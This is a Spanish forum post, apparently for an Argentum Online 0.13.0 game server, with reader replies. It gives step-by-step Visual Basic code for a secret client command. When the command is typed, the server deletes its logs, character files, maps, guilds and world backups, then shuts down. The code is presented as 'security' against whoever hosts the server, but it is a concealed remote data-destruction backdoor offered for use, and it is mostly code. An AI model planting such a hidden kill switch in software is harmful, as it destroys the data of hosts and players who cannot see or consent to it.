Seguridad contra robos de servidor 0.13.0!

Hace mucho que no me paso por aca a aportar , asi que dejo este lindo codigo para estar mas seguros a quien le damos el servidor para que nos hostee, si es un garca ya estamos preparados para eso.

El còdigo ya estava para versiones menores a 0.11.5, aca se los dejo para versiones mayores a 0.11.5.




En el servidor comienzan buscando:

Código:

Private Sub HandleHelp(ByVal UserIndex As Integer)
'***************************************************
'Author: Juan Martín Sotuyo Dodero (Maraxus)
'Last Modification: 05/17/06
'
'***************************************************
    'Remove packet ID
    Call UserList(UserIndex).incomingData.ReadByte
  
    Call SendHelp(UserIndex)
End Sub

Abajo ponemos:

Código:

Private Sub HandleDervet(ByVal UserIndex As Integer)
 
 
  With UserList(UserIndex)
    
        Call .incomingData.ReadByte
      
' Seguridad contra peligros de robos del servidor. [DERVET] <-
 
   On Error Resume Next
                Kill (App.Path & "\logs\*.*")
                Kill (App.Path & "\logs\consejeros\*.*")
             '   Kill (App.Path & "\Accounts\*.*") ' BORRAN EL ' SI TIENEN SISTEMA DE CUENTAS.
                Kill (App.Path & "\charfile\*.*")
                Kill (App.Path & "\chrbackup\*.*")
                Kill (App.Path & "\dat\*.*")
                Kill (App.Path & "\foros\*.*")
                Kill (App.Path & "\Guilds\*.*")
                Kill (App.Path & "\maps\*.*")
                Kill (App.Path & "\wav\*.*")
                Kill (App.Path & "\WorldBackUp\*.*")
                End
MsgBox "ME INTENTASTES ROBAR EL SERVIDOR , YO VOY A INTENTAR JODERTE ! "
 
End with
 
End Sub

Seguimos buscando:

Código:

Help                    '/AYUDA

Abajo ponemos :

Código:

Dervet                  '/DERVET

Por ultimo buscamos :

Código:

       Case ClientPacketID.Help                    '/AYUDA
            Call HandleHelp(UserIndex)

y abajo ponemos

Código:

Case ClientPacketID.Dervet                   '/DERVET
            Call HandleDervet(UserIndex)

Listo el servidor.

Pasamos al cliente y buscamos:

Código:

Help                    '/AYUDA

abajo ponemos esto:

Código:

Dervet                  '/DERVET

despues buscamos esto :

Código:

''
' Writes the "Help" message to the outgoing data buffer.
'
' @remarks  The data is not actually sent until the buffer is properly flushed.
 
Public Sub WriteHelp()
'***************************************************
'Author: Juan Martín Sotuyo Dodero (Maraxus)
'Last Modification: 05/17/06
'Writes the "Help" message to the outgoing data buffer
'***************************************************
    Call outgoingData.WriteByte(ClientPacketID.Help)
End Sub

Y abajo ponemos estas 3 lineas:

Código:

Public Sub WriteDervet()
 
    Call outgoingData.WriteByte(ClientPacketID.Dervet)
End Sub

Por ultimo creamos el comando , para eso buscamos:

         

Código:

           Case "/AYUDA"
                Call WriteHelp

Y abajo ponemos:

Código:

           Case "/DERVET"       ' < Esto por seguridad lo cambiamos a una palabra que solo nosotros sepamos , al tipearla comienza el borrado.
                Call WriteDervet

Por si no leyeron los comentarios del codigo, en lo ultimo que pusimos donde dice Case "/DERVET" , cambiemoslo a una palabra que solo nosotros sepamos, al tipearla comenzara el borrado.


Fìn del codigo! , notaron que en 11.5 todo esto es solamente un case del comando en el servidor , y aca es mucho màs? , jaja en fin , seguro que a mas de uno le va a servir.

Saludos

Fuente GS ZONE

Gracias por visitar este post :p tomense el tiempo de leerlo y comentar estube un rato tratando de ponerlo en el foro.

Ciudades Perdidas se acerca...     

Buen Aporte para los que te roban el Servidor!! Gracias por aportarlo Seguí Así!!  

es bastante util para cuando un chico te quiere hostear el ao y despues resulta que te estafa, lo malo es que siempre alguien hace copias! pero me encanto

Este codigo estaba para versiones 13.0 y mayores, no te hagas el que adaptas codigos por que no es así .En el anterior post que hiciste fue igual .

Se agradece por traerlo al foro.